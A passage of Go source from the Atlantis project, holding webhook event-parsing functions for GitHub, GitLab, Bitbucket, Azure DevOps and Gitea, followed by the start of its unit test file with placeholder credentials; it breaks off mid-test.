*event.Actor.AccountID,\n\t\tState:      prState,\n\t\tBaseRepo:   baseRepo,\n\t}\n\tuser = models.User{\n\t\tUsername: *event.Actor.AccountID,\n\t}\n\treturn\n}\n\n// ParseBitbucketCloudPullEvent parses a pull request event from Bitbucket\n// Cloud (bitbucket.org).\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseBitbucketCloudPullEvent(body []byte) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) {\n\tvar event bitbucketcloud.PullRequestEvent\n\tif err = json.Unmarshal(body, &event); err != nil {\n\t\terr = fmt.Errorf(\"parsing json: %w\", err)\n\t\treturn\n\t}\n\tif err = validator.New().Struct(event); err != nil {\n\t\terr = fmt.Errorf(\"API response %q was missing fields: %w\", string(body), err)\n\t\treturn\n\t}\n\tpull, baseRepo, headRepo, user, err = e.parseCommonBitbucketCloudEventData(event.CommonEventData)\n\treturn\n}\n\n// ParseGithubIssueCommentEvent parses GitHub pull request comment events.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) (baseRepo models.Repo, user models.User, pullNum int, err error) {\n\tbaseRepo, err = e.ParseGithubRepo(comment.Repo)\n\tif err != nil {\n\t\treturn\n\t}\n\tif comment.Comment == nil || comment.Comment.User.GetLogin() == \"\" {\n\t\terr = errors.New(\"comment.user.login is null\")\n\t\treturn\n\t}\n\tcommenterUsername := comment.Comment.User.GetLogin()\n\tuser = models.User{\n\t\tUsername: commenterUsername,\n\t}\n\tpullNum = comment.Issue.GetNumber()\n\tif pullNum == 0 {\n\t\terr = errors.New(\"issue.number is null\")\n\t\treturn\n\t}\n\treturn\n}\n\n// ParseGithubPullEvent parses GitHub pull request events.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) (pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) {\n\tif pullEvent.PullRequest == nil {\n\t\terr = errors.New(\"pull_request is null\")\n\t\treturn\n\t}\n\tpull, baseRepo, headRepo, err = e.ParseGithubPull(logger, pullEvent.PullRequest)\n\tif err != nil {\n\t\treturn\n\t}\n\tif pullEvent.Sender == nil {\n\t\terr = errors.New(\"sender is null\")\n\t\treturn\n\t}\n\tsenderUsername := pullEvent.Sender.GetLogin()\n\tif senderUsername == \"\" {\n\t\terr = errors.New(\"sender.login is null\")\n\t\treturn\n\t}\n\n\taction := pullEvent.GetAction()\n\t// If it's a draft PR we ignore it for auto-planning if configured to do so\n\t// however it's still possible for users to run plan on it manually via a\n\t// comment so if any draft PR is closed we still need to check if we need\n\t// to delete its locks.\n\tif pullEvent.GetPullRequest().GetDraft() && pullEvent.GetAction() != \"closed\" && !e.AllowDraftPRs {\n\t\taction = \"other\"\n\t}\n\n\tswitch action {\n\tcase \"opened\":\n\t\tpullEventType = models.OpenedPullEvent\n\tcase \"ready_for_review\":\n\t\t// when an author takes a PR out of 'draft' state a 'ready_for_review'\n\t\t// event is triggered. We want atlantis to treat this as a freshly opened PR\n\t\tpullEventType = models.OpenedPullEvent\n\tcase \"synchronize\":\n\t\tpullEventType = models.UpdatedPullEvent\n\tcase \"closed\":\n\t\tpullEventType = models.ClosedPullEvent\n\tdefault:\n\t\tpullEventType = models.OtherPullEvent\n\t}\n\tuser = models.User{Username: senderUsername}\n\treturn\n}\n\n// ParseGithubPull parses the response from the GitHub API endpoint (not\n// from a webhook) that returns a pull request.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseGithubPull(logger logging.SimpleLogging, pull *github.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) {\n\tcommit := pull.Head.GetSHA()\n\tif commit == \"\" {\n\t\terr = errors.New(\"head.sha is null\")\n\t\treturn\n\t}\n\turl := pull.GetHTMLURL()\n\tif url == \"\" {\n\t\terr = errors.New(\"html_url is null\")\n\t\treturn\n\t}\n\theadBranch := pull.Head.GetRef()\n\tif headBranch == \"\" {\n\t\terr = errors.New(\"head.ref is null\")\n\t\treturn\n\t}\n\tbaseBranch := pull.Base.GetRef()\n\tif baseBranch == \"\" {\n\t\terr = errors.New(\"base.ref is null\")\n\t\treturn\n\t}\n\n\tauthorUsername := pull.User.GetLogin()\n\tif authorUsername == \"\" {\n\t\terr = errors.New(\"user.login is null\")\n\t\treturn\n\t}\n\tnum := pull.GetNumber()\n\tif num == 0 {\n\t\terr = errors.New(\"number is null\")\n\t\treturn\n\t}\n\n\tbaseRepo, err = e.ParseGithubRepo(pull.Base.Repo)\n\tif err != nil {\n\t\treturn\n\t}\n\theadRepo, err = e.ParseGithubRepo(pull.Head.Repo)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpullState := models.ClosedPullState\n\tif pull.GetState() == \"open\" {\n\t\tpullState = models.OpenPullState\n\t}\n\n\tpullModel = models.PullRequest{\n\t\tAuthor:     authorUsername,\n\t\tHeadBranch: headBranch,\n\t\tHeadCommit: commit,\n\t\tURL:        url,\n\t\tNum:        num,\n\t\tState:      pullState,\n\t\tBaseRepo:   baseRepo,\n\t\tBaseBranch: baseBranch,\n\t}\n\treturn\n}\n\n// ParseGithubRepo parses the response from the GitHub API endpoint that\n// returns a repo into the Atlantis model.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseGithubRepo(ghRepo *github.Repository) (models.Repo, error) {\n\ttoken := e.GithubToken\n\tif e.GithubTokenFile != \"\" {\n\t\tcontent, err := os.ReadFile(e.GithubTokenFile)\n\t\tif err != nil {\n\t\t\treturn models.Repo{}, fmt.Errorf(\"failed reading github token file: %w\", err)\n\t\t}\n\t\ttoken = string(content)\n\t}\n\n\treturn models.NewRepo(models.Github, ghRepo.GetFullName(), ghRepo.GetCloneURL(), e.GithubUser, token)\n}\n\n// ParseGiteaRepo parses the response from the Gitea API endpoint that\n// returns a repo into the Atlantis model.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseGiteaRepo(repo giteasdk.Repository) (models.Repo, error) {\n\treturn models.NewRepo(models.Gitea, repo.FullName, repo.CloneURL, e.GiteaUser, e.GiteaToken)\n}\n\n// ParseGitlabMergeRequestUpdateEvent dives deeper into Gitlab merge request update events\nfunc (e *EventParser) ParseGitlabMergeRequestUpdateEvent(event gitlab.MergeEvent) models.PullRequestEventType {\n\t// New commit to opened MR\n\tif len(event.ObjectAttributes.OldRev) > 0 ||\n\t\t// Check for MR that has been marked as ready\n\t\t(strings.HasPrefix(event.Changes.Title.Previous, \"Draft:\") && !strings.HasPrefix(event.Changes.Title.Current, \"Draft:\")) {\n\t\treturn models.UpdatedPullEvent\n\t}\n\treturn models.OtherPullEvent\n}\n\n// ParseGitlabMergeRequestEvent parses GitLab merge request events.\n// pull is the parsed merge request.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseGitlabMergeRequestEvent(event gitlab.MergeEvent) (pull models.PullRequest, eventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) {\n\tmodelState := models.ClosedPullState\n\tif event.ObjectAttributes.State == gitlabPullOpened {\n\t\tmodelState = models.OpenPullState\n\t}\n\t// GitLab also has a \"merged\" state, but we map that to Closed so we don't\n\t// need to check for it.\n\n\tbaseRepo, err = models.NewRepo(models.Gitlab, event.Project.PathWithNamespace, event.Project.GitHTTPURL, e.GitlabUser, e.GitlabToken)\n\tif err != nil {\n\t\treturn\n\t}\n\theadRepo, err = models.NewRepo(models.Gitlab, event.ObjectAttributes.Source.PathWithNamespace, event.ObjectAttributes.Source.GitHTTPURL, e.GitlabUser, e.GitlabToken)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpull = models.PullRequest{\n\t\tURL:        event.ObjectAttributes.URL,\n\t\tAuthor:     event.User.Username,\n\t\tNum:        event.ObjectAttributes.IID,\n\t\tHeadCommit: event.ObjectAttributes.LastCommit.ID,\n\t\tHeadBranch: event.ObjectAttributes.SourceBranch,\n\t\tBaseBranch: event.ObjectAttributes.TargetBranch,\n\t\tState:      modelState,\n\t\tBaseRepo:   baseRepo,\n\t}\n\n\t// If it's a draft PR we ignore it for auto-planning if configured to do so\n\t// however it's still possible for users to run plan on it manually via a\n\t// comment so if any draft PR is closed we still need to check if we need\n\t// to delete its locks.\n\tif event.ObjectAttributes.WorkInProgress && event.ObjectAttributes.Action != \"close\" && !e.AllowDraftPRs {\n\t\teventType = models.OtherPullEvent\n\t} else {\n\t\tswitch event.ObjectAttributes.Action {\n\t\tcase \"open\":\n\t\t\teventType = models.OpenedPullEvent\n\t\tcase \"update\":\n\t\t\teventType = e.ParseGitlabMergeRequestUpdateEvent(event)\n\t\tcase \"merge\", \"close\":\n\t\t\teventType = models.ClosedPullEvent\n\t\tdefault:\n\t\t\teventType = models.OtherPullEvent\n\t\t}\n\t}\n\n\tuser = models.User{\n\t\tUsername: event.User.Username,\n\t}\n\n\treturn\n}\n\n// ParseGitlabMergeRequestCommentEvent parses GitLab merge request comment\n// events.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseGitlabMergeRequestCommentEvent(event gitlab.MergeCommentEvent) (baseRepo models.Repo, headRepo models.Repo, commentID int, user models.User, err error) {\n\t// Parse the base repo first.\n\n\trepoFullName := event.Project.PathWithNamespace\n\tcloneURL := event.Project.GitHTTPURL\n\tcommentID = event.ObjectAttributes.ID\n\tbaseRepo, err = models.NewRepo(models.Gitlab, repoFullName, cloneURL, e.GitlabUser, e.GitlabToken)\n\tif err != nil {\n\t\treturn\n\t}\n\tuser = models.User{\n\t\tUsername: event.User.Username,\n\t}\n\n\t// Now parse the head repo.\n\theadRepoFullName := event.MergeRequest.Source.PathWithNamespace\n\theadCloneURL := event.MergeRequest.Source.GitHTTPURL\n\theadRepo, err = models.NewRepo(models.Gitlab, headRepoFullName, headCloneURL, e.GitlabUser, e.GitlabToken)\n\treturn\n}\n\nfunc (e *EventParser) ParseGiteaIssueCommentEvent(comment gitea.GiteaIssueCommentPayload) (baseRepo models.Repo, user models.User, pullNum int, err error) {\n\tbaseRepo, err = e.ParseGiteaRepo(comment.Repository)\n\tif err != nil {\n\t\treturn\n\t}\n\tif comment.Comment.Body == \"\" || comment.Comment.Poster.UserName == \"\" {\n\t\terr = errors.New(\"comment.user.login is null\")\n\t\treturn\n\t}\n\tcommenterUsername := comment.Comment.Poster.UserName\n\tuser = models.User{\n\t\tUsername: commenterUsername,\n\t}\n\tpullNum = int(comment.Issue.Index)\n\tif pullNum == 0 {\n\t\terr = errors.New(\"issue.number is null\")\n\t\treturn\n\t}\n\treturn\n}\n\n// ParseGitlabMergeRequest parses the merge requests and returns a pull request\n// model. We require passing in baseRepo because we can't get this information\n// from the merge request. The only caller of this function already has that\n// data so we can construct the pull request object correctly.\nfunc (e *EventParser) ParseGitlabMergeRequest(mr *gitlab.MergeRequest, baseRepo models.Repo) models.PullRequest {\n\tpullState := models.ClosedPullState\n\tif mr.State == gitlabPullOpened {\n\t\tpullState = models.OpenPullState\n\t}\n\t// GitLab also has a \"merged\" state, but we map that to Closed so we don't\n\t// need to check for it.\n\n\treturn models.PullRequest{\n\t\tURL:        mr.WebURL,\n\t\tAuthor:     mr.Author.Username,\n\t\tNum:        mr.IID,\n\t\tHeadCommit: mr.SHA,\n\t\tHeadBranch: mr.SourceBranch,\n\t\tBaseBranch: mr.TargetBranch,\n\t\tState:      pullState,\n\t\tBaseRepo:   baseRepo,\n\t}\n}\n\n// GetBitbucketServerPullEventType returns the type of the pull request\n// event given the Bitbucket Server header.\nfunc (e *EventParser) GetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType {\n\tswitch eventTypeHeader {\n\t// PullFromRefUpdatedHeader event occurs on OPEN state pull request\n\t// so no additional checks are needed.\n\tcase bitbucketserver.PullCreatedHeader, bitbucketserver.PullFromRefUpdatedHeader:\n\t\treturn models.OpenedPullEvent\n\tcase bitbucketserver.PullMergedHeader, bitbucketserver.PullDeclinedHeader, bitbucketserver.PullDeletedHeader:\n\t\treturn models.ClosedPullEvent\n\t}\n\treturn models.OtherPullEvent\n}\n\n// ParseBitbucketServerPullCommentEvent parses a pull request comment event\n// from Bitbucket Server.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseBitbucketServerPullCommentEvent(body []byte) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, comment string, err error) {\n\tvar event bitbucketserver.CommentEvent\n\tif err = json.Unmarshal(body, &event); err != nil {\n\t\terr = fmt.Errorf(\"parsing json: %w\", err)\n\t\treturn\n\t}\n\tif err = validator.New().Struct(event); err != nil {\n\t\terr = fmt.Errorf(\"API response %q was missing fields: %w\", string(body), err)\n\t\treturn\n\t}\n\tpull, baseRepo, headRepo, user, err = e.parseCommonBitbucketServerEventData(event.CommonEventData)\n\tcomment = *event.Comment.Text\n\treturn\n}\n\nfunc (e *EventParser) parseCommonBitbucketServerEventData(event bitbucketserver.CommonEventData) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) {\n\tvar prState models.PullRequestState\n\tswitch *event.PullRequest.State {\n\tcase \"OPEN\":\n\t\tprState = models.OpenPullState\n\tcase \"MERGED\":\n\t\tprState = models.ClosedPullState\n\tcase \"DECLINED\":\n\t\tprState = models.ClosedPullState\n\tdefault:\n\t\terr = fmt.Errorf(\"unable to determine pull request state from %q–this is a bug\", *event.PullRequest.State)\n\t\treturn\n\t}\n\n\theadRepoSlug := *event.PullRequest.FromRef.Repository.Slug\n\theadRepoFullname := fmt.Sprintf(\"%s/%s\", *event.PullRequest.FromRef.Repository.Project.Name, headRepoSlug)\n\theadRepoCloneURL := fmt.Sprintf(\"%s/scm/%s/%s.git\", e.BitbucketServerURL, strings.ToLower(*event.PullRequest.FromRef.Repository.Project.Key), headRepoSlug)\n\theadRepo, err = models.NewRepo(\n\t\tmodels.BitbucketServer,\n\t\theadRepoFullname,\n\t\theadRepoCloneURL,\n\t\te.BitbucketUser,\n\t\te.BitbucketToken)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbaseRepoSlug := *event.PullRequest.ToRef.Repository.Slug\n\tbaseRepoFullname := fmt.Sprintf(\"%s/%s\", *event.PullRequest.ToRef.Repository.Project.Name, baseRepoSlug)\n\tbaseRepoCloneURL := fmt.Sprintf(\"%s/scm/%s/%s.git\", e.BitbucketServerURL, strings.ToLower(*event.PullRequest.ToRef.Repository.Project.Key), baseRepoSlug)\n\tbaseRepo, err = models.NewRepo(\n\t\tmodels.BitbucketServer,\n\t\tbaseRepoFullname,\n\t\tbaseRepoCloneURL,\n\t\te.BitbucketUser,\n\t\te.BitbucketToken)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpull = models.PullRequest{\n\t\tNum:        *event.PullRequest.ID,\n\t\tHeadCommit: *event.PullRequest.FromRef.LatestCommit,\n\t\tURL:        fmt.Sprintf(\"%s/projects/%s/repos/%s/pull-requests/%d\", e.BitbucketServerURL, *event.PullRequest.ToRef.Repository.Project.Key, *event.PullRequest.ToRef.Repository.Slug, *event.PullRequest.ID),\n\t\tHeadBranch: *event.PullRequest.FromRef.DisplayID,\n\t\tBaseBranch: *event.PullRequest.ToRef.DisplayID,\n\t\tAuthor:     *event.Actor.Username,\n\t\tState:      prState,\n\t\tBaseRepo:   baseRepo,\n\t}\n\tuser = models.User{\n\t\tUsername: *event.Actor.Username,\n\t}\n\treturn\n}\n\n// ParseBitbucketServerPullEvent parses a pull request event from Bitbucket\n// Server.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseBitbucketServerPullEvent(body []byte) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) {\n\tvar event bitbucketserver.PullRequestEvent\n\tif err = json.Unmarshal(body, &event); err != nil {\n\t\terr = fmt.Errorf(\"parsing json: %w\", err)\n\t\treturn\n\t}\n\tif err = validator.New().Struct(event); err != nil {\n\t\terr = fmt.Errorf(\"API response %q was missing fields: %w\", string(body), err)\n\t\treturn\n\t}\n\tpull, baseRepo, headRepo, user, err = e.parseCommonBitbucketServerEventData(event.CommonEventData)\n\treturn\n}\n\n// ParseAzureDevopsPullEvent parses Azure DevOps pull request events.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseAzureDevopsPullEvent(event azuredevops.Event) (pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) {\n\tpullResource, ok := event.Resource.(*azuredevops.GitPullRequest)\n\tif !ok {\n\t\terr = errors.New(\"failed to type assert event.Resource\")\n\t\treturn\n\t}\n\tpull, baseRepo, headRepo, err = e.ParseAzureDevopsPull(pullResource)\n\tif err != nil {\n\t\treturn\n\t}\n\tcreatedBy := pullResource.GetCreatedBy()\n\tif createdBy == nil {\n\t\terr = errors.New(\"CreatedBy is null\")\n\t\treturn\n\t}\n\tsenderUsername := createdBy.GetUniqueName()\n\tif senderUsername == \"\" {\n\t\terr = errors.New(\"CreatedBy.UniqueName is null\")\n\t\treturn\n\t}\n\tswitch event.EventType {\n\tcase \"git.pullrequest.created\":\n\t\tpullEventType = models.OpenedPullEvent\n\tcase \"git.pullrequest.updated\":\n\t\tpullEventType = models.UpdatedPullEvent\n\t\tif pull.State == models.ClosedPullState {\n\t\t\tpullEventType = models.ClosedPullEvent\n\t\t}\n\tdefault:\n\t\tpullEventType = models.OtherPullEvent\n\t}\n\tuser = models.User{Username: senderUsername}\n\treturn\n}\n\n// ParseAzureDevopsPull parses the response from the Azure DevOps API endpoint (not\n// from a webhook) that returns a pull request.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseAzureDevopsPull(pull *azuredevops.GitPullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) {\n\tcommit := pull.LastMergeSourceCommit.GetCommitID()\n\tif commit == \"\" {\n\t\terr = errors.New(\"lastMergeSourceCommit.commitID is null\")\n\t\treturn\n\t}\n\turl := pull.GetURL()\n\tif url == \"\" {\n\t\terr = errors.New(\"url is null\")\n\t\treturn\n\t}\n\n\theadBranch := pull.GetSourceRefName()\n\tif headBranch == \"\" {\n\t\terr = errors.New(\"sourceRefName (branch name) is null\")\n\t\treturn\n\t}\n\tbaseBranch := pull.GetTargetRefName()\n\tif baseBranch == \"\" {\n\t\terr = errors.New(\"targetRefName (branch name) is null\")\n\t\treturn\n\t}\n\tnum := pull.GetPullRequestID()\n\tif num == 0 {\n\t\terr = errors.New(\"pullRequestId is null\")\n\t\treturn\n\t}\n\tcreatedBy := pull.GetCreatedBy()\n\tif createdBy == nil {\n\t\terr = errors.New(\"CreatedBy is null\")\n\t\treturn\n\t}\n\tauthorUsername := createdBy.GetUniqueName()\n\tif authorUsername == \"\" {\n\t\terr = errors.New(\"CreatedBy.UniqueName is null\")\n\t\treturn\n\t}\n\tbaseRepo, err = e.ParseAzureDevopsRepo(pull.GetRepository())\n\tif err != nil {\n\t\treturn\n\t}\n\theadRepo, err = e.ParseAzureDevopsRepo(pull.GetRepository())\n\tif err != nil {\n\t\treturn\n\t}\n\tpullState := models.ClosedPullState\n\tif *pull.Status == azuredevops.PullActive.String() {\n\t\tpullState = models.OpenPullState\n\t}\n\n\tpullModel = models.PullRequest{\n\t\tAuthor: authorUsername,\n\t\t// Change webhook refs from \"refs/heads/<branch>\" to \"<branch>\"\n\t\tHeadBranch: strings.Replace(headBranch, \"refs/heads/\", \"\", 1),\n\t\tHeadCommit: commit,\n\t\tURL:        url,\n\t\tNum:        num,\n\t\tState:      pullState,\n\t\tBaseRepo:   baseRepo,\n\t\tBaseBranch: strings.Replace(baseBranch, \"refs/heads/\", \"\", 1),\n\t}\n\treturn\n}\n\n// ParseAzureDevopsRepo parses the response from the Azure DevOps API endpoint that\n// returns a repo into the Atlantis model.\n// If the event payload doesn't contain a parent repository reference, extract the owner\n// name from the URL. The URL will match one of two different formats:\n//\n// https://runatlantis.visualstudio.com/project/_git/repo\n// https://dev.azure.com/runatlantis/project/_git/repo\n//\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error) {\n\tteamProject := adRepo.GetProject()\n\tparent := adRepo.GetParentRepository()\n\towner := \"\"\n\n\turi, err := url.Parse(adRepo.GetWebURL())\n\tif err != nil {\n\t\treturn models.Repo{}, err\n\t}\n\n\tif parent != nil {\n\t\towner = parent.GetName()\n\t} else {\n\n\t\tif strings.Contains(uri.Host, \"visualstudio.com\") {\n\t\t\towner = strings.Split(uri.Host, \".\")[0]\n\t\t} else {\n\t\t\towner = strings.Split(uri.Path, \"/\")[1]\n\t\t}\n\t\towner = strings.ToLower(owner)\n\t\t// Important Issue\n\t\t// Details in here: https://github.com/runatlantis/atlantis/issues/5595\n\t\t// Original issue from 2018: https://github.com/runatlantis/atlantis/issues/1858\n\t\t// Related Microsoft article: https://learn.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#administration\n\t\t// If Azure DevOps forces the usage of new url, we need to remove all the changes added on this pull request (1 line and 1 test)\n\t}\n\n\t// Construct our own clone URL so we always get the new dev.azure.com\n\t// hostname for now.\n\t// https://docs.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#switch-existing-organizations-to-use-the-new-domain-name-url\n\tproject := teamProject.GetName()\n\trepo := adRepo.GetName()\n\n\thost := uri.Host\n\tif host == \"\" {\n\t\thost = \"dev.azure.com\"\n\t}\n\n\tcloneURL := \"\"\n\t// If statement allows compatibility with legacy Visual Studio Team Foundation Services URLs.\n\t// Else statement covers Azure DevOps Services URLs\n\tif strings.Contains(host, \"visualstudio.com\") {\n\t\tcloneURL = fmt.Sprintf(\"https://%s/%s/_git/%s\", host, project, repo)\n\t} else {\n\t\tcloneURL = fmt.Sprintf(\"https://%s/%s/%s/_git/%s\", host, owner, project, repo)\n\t}\n\tfmt.Println(\"%\", cloneURL)\n\tfullName := fmt.Sprintf(\"%s/%s/%s\", owner, project, repo)\n\treturn models.NewRepo(models.AzureDevops, fullName, cloneURL, e.AzureDevopsUser, e.AzureDevopsToken)\n}\n\nfunc (e *EventParser) ParseGiteaPullRequestEvent(event giteasdk.PullRequest) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) {\n\tvar pullEventType models.PullRequestEventType\n\n\t// Determine the event type based on the state of the pull request and whether it's merged.\n\tswitch {\n\tcase event.State == giteasdk.StateOpen:\n\t\tpullEventType = models.OpenedPullEvent\n\tcase event.HasMerged:\n\t\tpullEventType = models.ClosedPullEvent\n\tdefault:\n\t\tpullEventType = models.OtherPullEvent\n\t}\n\n\t// Parse the base repository.\n\tbaseRepo, err := models.NewRepo(\n\t\tmodels.Gitea,\n\t\tevent.Base.Repository.FullName,\n\t\tevent.Base.Repository.CloneURL,\n\t\te.GiteaUser,\n\t\te.GiteaToken,\n\t)\n\tif err != nil {\n\t\treturn models.PullRequest{}, models.OtherPullEvent, models.Repo{}, models.Repo{}, models.User{}, err\n\t}\n\n\t// Parse the head repository.\n\theadRepo, err := models.NewRepo(\n\t\tmodels.Gitea,\n\t\tevent.Head.Repository.FullName,\n\t\tevent.Head.Repository.CloneURL,\n\t\te.GiteaUser,\n\t\te.GiteaToken,\n\t)\n\tif err != nil {\n\t\treturn models.PullRequest{}, models.OtherPullEvent, models.Repo{}, models.Repo{}, models.User{}, err\n\t}\n\n\t// Construct the pull request model.\n\tpull := models.PullRequest{\n\t\tNum:        int(event.Index),\n\t\tURL:        event.HTMLURL,\n\t\tHeadCommit: event.Head.Sha,\n\t\tHeadBranch: (*event.Head).Ref,\n\t\tBaseBranch: event.Base.Ref,\n\t\tAuthor:     event.Poster.UserName,\n\t\tBaseRepo:   baseRepo,\n\t}\n\n\t// Parse the user who made the pull request.\n\tuser := models.User{\n\t\tUsername: event.Poster.UserName,\n\t}\n\treturn pull, pullEventType, baseRepo, headRepo, user, nil\n}\n\n// ParseGiteaPull parses the response from the Gitea API endpoint (not\n// from a webhook) that returns a pull request.\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseGiteaPull(pull *giteasdk.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) {\n\tcommit := pull.Head.Sha\n\tif commit == \"\" {\n\t\terr = errors.New(\"head.sha is null\")\n\t\treturn\n\t}\n\turl := pull.HTMLURL\n\tif url == \"\" {\n\t\terr = errors.New(\"html_url is null\")\n\t\treturn\n\t}\n\theadBranch := pull.Head.Ref\n\tif headBranch == \"\" {\n\t\terr = errors.New(\"head.ref is null\")\n\t\treturn\n\t}\n\tbaseBranch := pull.Base.Ref\n\tif baseBranch == \"\" {\n\t\terr = errors.New(\"base.ref is null\")\n\t\treturn\n\t}\n\n\tauthorUsername := pull.Poster.UserName\n\tif authorUsername == \"\" {\n\t\terr = errors.New(\"user.login is null\")\n\t\treturn\n\t}\n\tnum := pull.Index\n\tif num == 0 {\n\t\terr = errors.New(\"number is null\")\n\t\treturn\n\t}\n\n\tbaseRepo, err = e.ParseGiteaRepo(*pull.Base.Repository)\n\tif err != nil {\n\t\treturn\n\t}\n\theadRepo, err = e.ParseGiteaRepo(*pull.Head.Repository)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpullState := models.ClosedPullState\n\tif pull.State == \"open\" {\n\t\tpullState = models.OpenPullState\n\t}\n\n\tpullModel = models.PullRequest{\n\t\tAuthor:     authorUsername,\n\t\tHeadBranch: headBranch,\n\t\tHeadCommit: commit,\n\t\tURL:        url,\n\t\tNum:        int(num),\n\t\tState:      pullState,\n\t\tBaseRepo:   baseRepo,\n\t\tBaseBranch: baseBranch,\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/event_parser_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\t\"github.com/google/go-github/v83/github\"\n\t\"github.com/mohae/deepcopy\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tazuredevopstestdata \"github.com/runatlantis/atlantis/server/events/vcs/azuredevops/testdata\"\n\tgithubtestdata \"github.com/runatlantis/atlantis/server/events/vcs/github/testdata\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\nvar parser = events.EventParser{\n\tGithubUser:         \"github-user\",\n\tGithubToken:        \"github-token\",\n\tGithubTokenFile:    \"\",\n\tGitlabUser:         \"gitlab-user\",\n\tGitlabToken:        \"gitlab-token\",\n\tAllowDraftPRs:      false,\n\tBitbucketUser:      \"bitbucket-user\",\n\tBitbucketToken:     \"bitbucket-token\",\n\tBitbucketServerURL: \"http://mycorp.com:7490\",\n\tAzureDevopsUser:    \"azuredevops-user\",\n\tAzureDevopsToken:   \"azuredevops-token\",\n}\n\nfunc TestParseGithubRepo(t *testing.T) {\n\tr, err := parser.ParseGithubRepo(&githubtestdata.Repo)\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tOwner:             \"owner\",\n\t\tFullName:          \"owner/repo\",\n\t\tCloneURL:          \"https://github-user:github-token@github.com/owner/repo.git\",\n\t\tSanitizedCloneURL: \"https://github-user:<redacted>@github.com/owner/repo.git\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t\tType:     models.Github,\n\t\t},\n\t}, r)\n}\n\nfunc TestParseGithubIssueCommentEvent(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcomment := github.IssueCommentEvent{\n\t\tRepo: &githubtestdata.Repo,\n\t\tIssue: &github.Issue{\n\t\t\tNumber:  github.Ptr(1),\n\t\t\tUser:    &github.User{Login: github.Ptr(\"issue_user\")},\n\t\t\tHTMLURL: github.Ptr(\"https://github.com/runatlantis/atlantis/issues/1\"),\n\t\t},\n\t\tComment: &github.IssueComment{\n\t\t\tUser: &github.User{Login: github.Ptr(\"comment_user\")},\n\t\t},\n\t}\n\n\ttestComment := deepcopy.Copy(comment).(github.IssueCommentEvent)\n\ttestComment.Comment = nil\n\t_, _, _, err := parser.ParseGithubIssueCommentEvent(logger, &testComment)\n\tErrEquals(t, \"comment.user.login is null\", err)\n\n\ttestComment = deepcopy.Copy(comment).(github.IssueCommentEvent)\n\ttestComment.Comment.User = nil\n\t_, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment)\n\tErrEquals(t, \"comment.user.login is null\", err)\n\n\ttestComment = deepcopy.Copy(comment).(github.IssueCommentEvent)\n\ttestComment.Comment.User.Login = nil\n\t_, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment)\n\tErrEquals(t, \"comment.user.login is null\", err)\n\n\ttestComment = deepcopy.Copy(comment).(github.IssueCommentEvent)\n\ttestComment.Issue = nil\n\t_, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment)\n\tErrEquals(t, \"issue.number is null\", err)\n\n\t// this should be successful\n\trepo, user, pullNum, err := 